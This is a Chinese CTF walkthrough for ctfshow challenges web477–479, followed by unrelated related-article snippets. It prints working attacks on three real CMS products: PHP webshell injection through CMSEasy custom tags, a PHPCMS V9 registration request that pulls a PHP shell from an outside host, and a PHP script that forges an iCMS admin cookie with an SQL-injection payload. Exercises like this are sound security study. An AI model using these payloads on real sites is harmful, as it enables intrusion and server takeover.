ctfshow web入门 CMS web477--web479

server/2024/11/13 9:39:38/

web477

CMSEazy5.7
不让扫,那就尝试一下admin路由,成功了
admin登录进入后台
也看到了其实
在这里插入图片描述
首页可以看到提示
在这里插入图片描述
然后去自定义标签打

1111111111";}<?php phpinfo()?>

刷新一下预览即可
在这里插入图片描述

11";}<?php assert($_POST[g]);?>

也可以getshell
能造成这些漏洞看了一下是因为之前此处填充的内容是反序列化存储的,但是我们如果使用";}就可以将其提前闭合从而达到命令执行的目的

web478

安装路径 your-domain/install/install.php
数据库用户名密码都是root 地址写127.0.0.1

在这里插入图片描述
先配置环境

PHPCMS V9 任意文件上传

在这里插入图片描述
在这里插入图片描述
来到登录页面说需要注册
查看了资料发现说注册页面可以任意文件上传
我们在本地写一个马
在这里插入图片描述
然后远程包含

request:POST /index.php?m=member&c=index&a=register&siteid=1 HTTP/1.1
Host: f0397455-29ac-4c48-ab2c-6f95153b6513.challenge.ctf.show
Cookie: PHPSESSID=kqv02eurkeldvah1rnmh7g24j3
Sec-Ch-Ua: "Not/A)Brand";v="8", "Chromium";v="126", "Google Chrome";v="126"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Windows"
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Sec-Fetch-User: ?1
Referer: https://f0397455-29ac-4c48-ab2c-6f95153b6513.challenge.ctf.show/index.php?m=content&c=rss&siteid=1
Priority: u=0, i
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 158siteid=1&modelid=11&username=test2&password=test2123&email=test2@163.com&info[content]=<img src=http://IP:12138/1.txt?.php#.jpg>&dosubmit=1&protocol=
response:HTTP/1.1 200 OK
Server: nginx/1.20.1
Date: Mon, 29 Jul 2024 05:54:49 GMT
Content-Type: text/html; charset=utf-8
Connection: close
Cache-Control: private
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Pragma: no-cache
Vary: Accept-Encoding
X-Powered-By: PHP/5.6.40
Access-Control-Allow-Methods: GET,POST,PUT,DELETE,OPTIONS
Access-Control-Allow-Credentials: true
Access-Control-Expose-Headers: Content-Type,Cookies,Aaa,Date,Server,Content-Length,Connection
Access-Control-Allow-Headers: DNT,X-CustomHeader,Keep-Alive,User-Agent,X-Requested-With,If-Modified-Since,Cache-Control,Content-Type,Authorization,x-auth-token,Cookies,Aaa,Date,Server,Content-Length,Connection
Access-Control-Max-Age: 1728000
Content-Length: 660<div style="font-size:12px;text-align:left; border:1px solid #9cc9e0; padding:1px 4px;color:#000000;font-family:Arial, Helvetica,sans-serif;"><span><b>MySQL Query : </b> INSERT INTO `phpcmsv9`.`v9_member_detail`(`content`,`userid`) VALUES ('&lt;img src=http://f0397455-29ac-4c48-ab2c-6f95153b6513.challenge.ctf.show/uploadfile/2024/0729/20240729015447865.php&gt;','1') <br /><b> MySQL Error : </b>Unknown column 'content' in 'field list' <br /> <b>MySQL Errno : </b>1054 <br /><b> Message : </b>  <br /><a href='http://faq.phpcms.cn/?errno=1054&msg=Unknown+column+%27content%27+in+%27field+list%27' target='_blank' style='color:red'>Need Help?</a></span></div>

已经是看到成功了,那么直接RCE即可
在这里插入图片描述

web479

iCMS-7.0.1前台登录绕过分析

GET /admincp.php HTTP/1.1
cookie:
iCMS_iCMS_AUTH=200b0c70aTDO4VR0iaABkIaqxhTDoDkQCdKpODWfphpw3hG%2BGfm47PMHJP32HEAgrAOwA9XWA1L96fSY9oc

审计代码根据key生成cookie

<?php
//error_reporting(0);
function urlsafe_b64decode($input){$remainder = strlen($input) % 4;if ($remainder) {$padlen = 4 - $remainder;$input .= str_repeat('=', $padlen);}return base64_decode(strtr($input, '-_!', '+/%'));
}function authcode($string, $operation = 'DECODE', $key = '', $expiry = 0) {$ckey_length   = 8;$key           = md5($key ? $key : iPHP_KEY);$keya          = md5(substr($key, 0, 16));$keyb          = md5(substr($key, 16, 16));$keyc          = $ckey_length ? ($operation == 'DECODE' ? substr($string, 0, $ckey_length): substr(md5(microtime()), -$ckey_length)) : '';$cryptkey      = $keya.md5($keya.$keyc);$key_length    = strlen($cryptkey);$string        = $operation == 'DECODE' ? base64_decode(substr($string, $ckey_length)) : sprintf('%010d', $expiry ? $expiry + time() : 0).substr(md5($string.$keyb), 0, 16).$string;$string_length = strlen($string);$result        = '';$box           = range(0, 255);$rndkey        = array();for($i = 0; $i <= 255; $i++) {$rndkey[$i] = ord($cryptkey[$i % $key_length]);}for($j = $i = 0; $i < 256; $i++) {$j       = ($j + $box[$i] + $rndkey[$i]) % 256;$tmp     = $box[$i];$box[$i] = $box[$j];$box[$j] = $tmp;}for($a = $j = $i = 0; $i < $string_length; $i++) {$a       = ($a + 1) % 256;$j       = ($j + $box[$a]) % 256;$tmp     = $box[$a];$box[$a] = $box[$j];$box[$j] = $tmp;$result  .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256]));}if($operation == 'DECODE') {if((substr($result, 0, 10) == 0 || substr($result, 0, 10) - time() > 0) && substr($result, 10, 16) == substr(md5(substr($result, 26).$keyb), 0, 16)) {return substr($result, 26);} else {return '';}} else {return $keyc.str_replace('=', '', base64_encode($result));}
}echo "iCMS_iCMS_AUTH=".urlencode(authcode("'or 1=1##=iCMS[192.168.0.1]=#1","ENCODE","n9pSQYvdWhtBz3UHZFVL7c6vf4x6fePk"));

http://www.ppmy.cn/server/90718.html

相关文章

mysql面试(五)

前言 本章节从数据页的具体结构&#xff0c;分析到如何生成索引&#xff0c;如何构成B树的索引结构。 以及什么是聚簇索引&#xff0c;什么是联合索引 InnoDB数据结构 行数据 我看各种文档中有好多记录数据结构的&#xff0c;但是这些都是看完就忘的东西。在这里详细讲也没…

NLP: 词袋模型和TFIDF模型

文章目录 词袋模型TF-IDF模型词汇表模型 词袋模型 文本特征提取有两个非常重要的模型&#xff1a; 词集模型&#xff1a;单词构成的集合&#xff0c;集合自然每个元素都只有一个&#xff0c;也即词集中的每个单词都只有一个。 词袋模型&#xff1a;在词集的基础上如果一个单词…

C++ //练习 16.6 你认为接受一个数组实参的标准库函数begin和end是如何工作的?定义你自己版本的begin和end。

C Primer&#xff08;第5版&#xff09; 练习 16.6 练习 16.6 你认为接受一个数组实参的标准库函数begin和end是如何工作的&#xff1f;定义你自己版本的begin和end。 环境&#xff1a;Linux Ubuntu&#xff08;云服务器&#xff09; 工具&#xff1a;vim 代码块 template …

【计算机毕设论文】基于SpringBoot的诗词管理系统

&#x1f497;博主介绍&#xff1a;✌全平台粉丝5W,高级大厂开发程序员&#x1f603;&#xff0c;博客之星、掘金/知乎/华为云/阿里云等平台优质作者。 【源码获取】小伙伴可以关注我 感兴趣的可以先收藏起来&#xff0c;同学门有不懂的毕设选题&#xff0c;项目以及论文编写等…

【CSS】继承属性

属性继承 1. 字体系列属性 字体系列属性主要包括&#xff1a; font-size、font-family、font-variant、font-style、font-weight、font、letter-spacing、word-spacing、text-transform 和 line-height。如果没有在⼀个元素上设置这些属性&#xff0c;则其继承上层的相应属性…

第123天:内网安全-域防火墙入站出站规则不出网隧道上线组策略对象同步

目录 案例一&#xff1a; 单机-防火墙-限制端口\协议出入站 案例二&#xff1a;不出网的解决思路 入站连接 隧道技术 案例三&#xff1a;域控-防火墙-组策略对象同步 案例四&#xff1a;域控-防火墙-组策略不出网上线 msf cs 案例一&#xff1a; 单机-防火墙-限制端口\…

33 列表常用方法——sort()、reverse()

列表对象的 sort() 方法用于按照指定的规则对所有元素进行排序&#xff0c;默认规则是所有元素从小到大升序排序&#xff1b;reverse() 方法用于将列表所有元素逆序或翻转&#xff0c;也就是第一个元素和倒数第一个元素交换位置&#xff0c;第二个元素和倒数第二个元素交换位置…

Laravel为什么会成为最优雅的PHP框架?

Laravel 成为最优雅的 PHP 框架的原因可以从多个方面来解释。以下是一些关键因素&#xff1a; 简洁优雅的语法: Laravel 采用了简洁明了的语法&#xff0c;使得代码更容易阅读和编写。它支持现代 PHP 特性&#xff0c;如命名空间、类自动加载、匿名函数&#xff08;闭包&#x…